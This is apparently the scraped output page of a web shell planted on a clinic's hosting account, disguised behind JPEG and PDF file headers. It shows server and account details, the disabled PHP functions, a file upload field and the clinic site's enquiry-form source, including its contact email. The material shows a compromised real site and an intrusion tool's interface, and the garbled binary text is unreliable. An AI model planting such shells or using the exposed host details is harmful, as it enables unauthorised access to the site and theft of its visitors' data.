ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 82.197.83.129 / Your IP : 216.73.216.166 [ Web Server : LiteSpeed System : Linux us-bos-web1456.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64 User : u489457460 ( 489457460) PHP Version : 7.3.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail Domains : 2 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/u489457460/domains/neoskinmadhapur.com/public_html/ |
Upload File : |
<?php error_reporting(E_ALL); ini_set('display_errors', 1); if ($_SERVER["REQUEST_METHOD"] == "POST") { // Collect and sanitize input $name = htmlspecialchars($_POST['name']); $phone = htmlspecialchars($_POST['phone']); $treatment = htmlspecialchars($_POST['treatment']); // $message = htmlspecialchars($_POST['message']); // Email recipient $to = "neoskinmadhapur@gmail.com"; // Replace with the recipient email address // Email subject $subject = "New Enquiry from " . $name; // Email body content $body = "You have received a new enquiry.\n\n"; $body .= "Name: " . $name . "\n"; $body .= "Phone: " . $phone . "\n"; $body .= "Treatment: " . $treatment . "\n"; // $body .= "Message:\n" . $message . "\n"; // Email headers $headers = "From: no-reply@yourdomain.com\r\n"; // Replace with your domain $headers .= "Reply-To: no-reply@yourdomain.com\r\n"; // Set to a no-reply address or admin email // Send email if (mail($to, $subject, $body, $headers)) { echo "<p>Enquiry submitted successfully. We will get back to you soon.</p>"; } else { echo "<p style='color: red;'>There was an error sending your enquiry. Please try again later.</p>"; } } else { echo "<p style='color: red;'>Invalid request.</p>"; } ?>